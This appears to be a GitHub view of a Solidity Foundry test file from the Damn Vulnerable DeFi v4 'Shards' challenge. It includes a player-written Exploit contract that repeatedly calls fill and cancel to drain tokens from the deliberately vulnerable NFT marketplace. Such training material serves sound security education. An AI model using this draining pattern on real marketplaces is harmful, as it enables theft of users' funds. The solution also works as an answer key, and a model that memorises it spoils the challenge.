-
Notifications
You must be signed in to change notification settings - Fork 116
/
Copy pathShards.t.sol
165 lines (136 loc) · 5.72 KB
/
Shards.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {
ShardsNFTMarketplace,
IShardsNFTMarketplace,
ShardsFeeVault,
DamnValuableToken,
DamnValuableNFT
} from "../../src/shards/ShardsNFTMarketplace.sol";
import {DamnValuableStaking} from "../../src/DamnValuableStaking.sol";
contract ShardsChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address seller = makeAddr("seller");
address oracle = makeAddr("oracle");
address recovery = makeAddr("recovery");
uint256 constant STAKING_REWARDS = 100_000e18;
uint256 constant NFT_SUPPLY = 50;
uint256 constant SELLER_NFT_BALANCE = 1;
uint256 constant SELLER_DVT_BALANCE = 75e19;
uint256 constant STAKING_RATE = 1e18;
uint256 constant MARKETPLACE_INITIAL_RATE = 75e15;
uint112 constant NFT_OFFER_PRICE = 1_000_000e6;
uint112 constant NFT_OFFER_SHARDS = 10_000_000e18;
DamnValuableToken token;
DamnValuableNFT nft;
ShardsFeeVault feeVault;
ShardsNFTMarketplace marketplace;
DamnValuableStaking staking;
uint256 initialTokensInMarketplace;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
startHoax(deployer);
// Deploy NFT contract and mint initial supply
nft = new DamnValuableNFT();
for (uint256 i = 0; i < NFT_SUPPLY; i++) {
if (i < SELLER_NFT_BALANCE) {
nft.safeMint(seller);
} else {
nft.safeMint(deployer);
}
}
// Deploy token (used for payments and fees)
token = new DamnValuableToken();
// Deploy NFT marketplace and get the associated fee vault
marketplace =
new ShardsNFTMarketplace(nft, token, address(new ShardsFeeVault()), oracle, MARKETPLACE_INITIAL_RATE);
feeVault = marketplace.feeVault();
// Deploy DVT staking contract and enable staking of fees in marketplace
staking = new DamnValuableStaking(token, STAKING_RATE);
token.transfer(address(staking), STAKING_REWARDS);
marketplace.feeVault().enableStaking(staking);
// Fund seller with DVT (to cover fees)
token.transfer(seller, SELLER_DVT_BALANCE);
// Seller opens offers in the marketplace
vm.startPrank(seller);
token.approve(address(marketplace), SELLER_DVT_BALANCE); // for fees
nft.setApprovalForAll(address(marketplace), true);
for (uint256 id = 0; id < SELLER_NFT_BALANCE; id++) {
marketplace.openOffer({nftId: id, totalShards: NFT_OFFER_SHARDS, price: NFT_OFFER_PRICE});
}
initialTokensInMarketplace = token.balanceOf(address(marketplace));
vm.stopPrank();
}
/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public view {
assertEq(feeVault.owner(), deployer);
assertEq(address(feeVault.token()), address(token));
assertEq(address(feeVault.staking()), address(staking));
assertEq(nft.balanceOf(deployer), NFT_SUPPLY - SELLER_NFT_BALANCE);
assertEq(nft.balanceOf(address(marketplace)), marketplace.offerCount());
assertEq(marketplace.offerCount(), SELLER_NFT_BALANCE);
assertEq(marketplace.rate(), MARKETPLACE_INITIAL_RATE);
assertGt(marketplace.feesInBalance(), 0);
assertEq(token.balanceOf(address(marketplace)), marketplace.feesInBalance());
assertEq(staking.rate(), STAKING_RATE);
assertEq(staking.balanceOf(address(feeVault)), 0);
assertEq(token.balanceOf(address(staking)), STAKING_REWARDS);
assertEq(token.balanceOf(address(feeVault)), 0);
assertEq(token.balanceOf(player), 0);
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_shards() public checkSolvedByPlayer {
Exploit exploit = new Exploit(marketplace,token,recovery);
exploit.attack(1);
console.log("recovery balance",token.balanceOf(address(recovery)));
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
// Balance of staking contract didn't change
assertEq(token.balanceOf(address(staking)), STAKING_REWARDS, "Not enough tokens in staking rewards");
// Marketplace has less tokens
uint256 missingTokens = initialTokensInMarketplace - token.balanceOf(address(marketplace));
assertGt(missingTokens, initialTokensInMarketplace * 1e16 / 100e18, "Marketplace still has tokens");
// All recovered funds sent to recovery account
assertEq(token.balanceOf(recovery), missingTokens, "Not enough tokens in recovery account");
assertEq(token.balanceOf(player), 0, "Player still has tokens");
// Player must have executed a single transaction
assertEq(vm.getNonce(player), 1);
}
}
contract Exploit {
ShardsNFTMarketplace public marketplace;
DamnValuableToken public token;
address recovery;
constructor(ShardsNFTMarketplace _marketplace, DamnValuableToken _token, address _recovery) {
marketplace = _marketplace;
token = _token;
recovery = _recovery;
}
function attack(uint64 offerId) external {
uint256 wantShards = 100; // Fill 100 shards per call
// Loop 10 times to execute fill(1, 100)
for (uint256 i = 0; i < 10001; i++) {
marketplace.fill(offerId, wantShards);
marketplace.cancel(1,i);
}
token.transfer(recovery,token.balanceOf(address(this)));
}
}